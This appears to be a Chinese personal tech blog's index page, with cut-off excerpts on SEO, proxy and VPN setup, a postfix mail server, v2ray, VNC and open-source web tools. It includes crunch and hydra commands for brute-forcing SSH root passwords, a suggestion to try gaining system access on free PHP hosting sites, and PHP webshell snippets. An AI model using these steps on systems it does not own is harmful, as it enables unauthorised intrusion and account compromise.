网站SEO
SEO如何让自己的网站被搜索引擎收录,由于目前网站没有备案,所以用的不是标准443端口
接下来将针对非标准端口举例
Google Search Console
打开Google Search Console
https://search.google.com/search-console/about
选择认证方式
提交sitemap.xml
hexo博客的public目录下有该文件
Bing Webmaster简单常用SEO方法
一条命令设置系统代理
设置系统代理的方法shell由于shell往往是login的,表示一个用户,故shell设置的代理只能在当前shell中使用
通用的shell代理设置方法
设置shell代理
123export all_proxy="socks://127.0.0.1:1080" # 设置全部代理export http_proxy="http://127.0.0.1:1080" # 代理httpexport https_proxy="https://127.0.0.1:1080" # 代理https
关闭shell代理
123unset all_proxyunset http_proxyunset https_proxy
linux gnome代理设置
设置shell代理
12gsettings set org.gnome.system.proxy.socks host 'localhost'gsettings set org.gnome.system.proxy.socks port 1080
关闭shell代 ...
简单暴力破解SSH密码
暴力破解ssh密码工具
crunch(password generator) 密码生成器,原理很简单,直接dfs遍历所有可能的组合即可
1234# debianapt install crunch# macbrew install crunch
hydra(brute force credentials) 暴力破解工具
1234# debianapt install hydra# macbrew install hydra
开始实验
生产随机密码123# crunch <min-len> <max-len> [<charset string>]# 最小长度 最大长度 密码所包含的字符crunch 6 6 0123456789abcdef -o 6chars.txt
开始破解尝试破解ssh123# -l username 用户名# -t thread 线程数hydra -l root -P passwords.txt -t 6 ssh://ip(x.x.x.x)
Ubuntu上使用postfix搭建邮件服务器
postfix mail server on ubuntu考虑到之前用{% post_link create_mail_server "sendmail" %}创建的server太旧了,很怕失去维护
所以打算用新的技术栈,为jumhorn.eu.org域名创建邮件服务器
安装12sudo apt install mailutilssudo apt install postfix
配置1sudo dpkg-reconfigure postfix
12#使得配置生效systemctl reload postfix
转发使用~/.forward文件,设置单个用户
123cd # back to home direcho "admin@jumhorn.com" > .forwardchmod 644 .forward # change permission else it won't work
以上方法并不保存邮件,转发并保存邮件的方法
最简单的方法是在.forward文件上加上自己,如下.forward文件
12jum ...
用v2ray实现反向代理
v2ray反向代理为了清晰说明连接方式,这里使用三台机器来说明
A <==> B <==> C
A是提供服务的机器,B是代理服务器,C是普通客户端
现在由于网络限制,A只能向B发起连接,B不能主动连接A
A ==> B <== C
在这种情况下,C想要访问A的服务就需要用到反向代理
实现过程,由A向B发起v2ray连接,B开通监听端口给C访问,并将C的请求转发给A
注意B转发给A是通过,A主动连接B产生的反向连接
A机器配置123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657{ "log": { "loglevel": "debug" }, "reverse": { "bridges": [ { "tag": ...
Linux搭建VNC,以及使用novnc
远程桌面连接VNC(Virtual Network Computing)
协议是通用的和系统无关
以下用mac连接centos
工具主要工具是Xvnc,在其上层的脚本有vncserver
123456789# CentOS# 安装桌面环境dnf groupinstall "Server with GUI"dnf install tigervnc-server# Ubuntuapt install xserver-xorg-coreapt install tigervnc-standalone-server tigervnc-xorg-extension# Archpacman -S tigervnc
配置
添加vnc用户,设置密码
123456# 设置密码vncpasswd# 启动vnc服务vncserver # vncserver :0(set display to :0)# ubuntu默认localhost无法从外网访问解决方法vncserver -localhost no
允许使用剪切板
编辑$home/admin/.vnc ...
自建VPN服务
创建vpn服务器用PPTP/L2TP创建vpn服务
想要使用vpn将多台公网服务器共同组建成局域网服务器
PPTP工具1dnf install pptpd
配置
ip配置
编辑/etc/pptpd.conf localip是服务器的局域网ip remoteip是客户端的局域网ip
12localip 192.168.0.1remoteip 192.168.0.100-200
用户配置
编辑/etc/ppp/chap-secrets 其中*表示任意ip
1234# client server passwd ipclient1 pptpd 123 *client2 pptpd 223 *client3 pptpd 323 *
重启pptpd服务
1systemctl restart pptpd
允许转发数据包(IP packet forwarding)
12345vim /etc/sysctl.conf# add the followingnet.ipv4.ip_forward = 1# enable itsysct ...
网站开源模块汇总
网页模块查找技术已经成型的开源网页模块
登录与验证(authentication)
Auth0
SuperTokens
authentik
OpenIAM
论坛(forum)
NodeBB
MyBB
phpBB
discourse
flarum
博客(blog)
Ghost
hexo
jekyll
WordPress
文档编辑(editor)
etherpad
OnlyOffice
Collabora Online
firepad
网页服务平台
web hosting云建站
新技术新技术使用nodejs,python等技术,创建的站点也更加灵活
获取站点权限,可以使用docker,wetty等
vercel可以从github导入网站,支持各种js框架
netlify支持从git型导入网站,支持添加自定义域名
streamlitrenderEvenNodeCyclicheroku可以将应用部署到该网站,2022.11.28收费
旧技术旧技术一般是静态建站,使用了PHP相关技术较多
当然使用php技术的站点,都可以尝试取系统权限
参考:
phpshell
wordpress免费站点都是广告,基本无法使用
x10hosting免费部署网站,提供mysql数据库
wid同wordpress,只能写page
PHP webshell 漏洞
webshells通过PHP脚本获取webshell
PHP函数system()1234<?php// Return the user the script is running undersystem("whoami");?>
exec()123456789101112131415<?php// Executes but returns nothingexec("ls -la");?><?php// Executes, returns only last line of the outputecho exec("ls -la");?><?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>
shellexec()1234<?php// Executes, returns the entire output as a string ...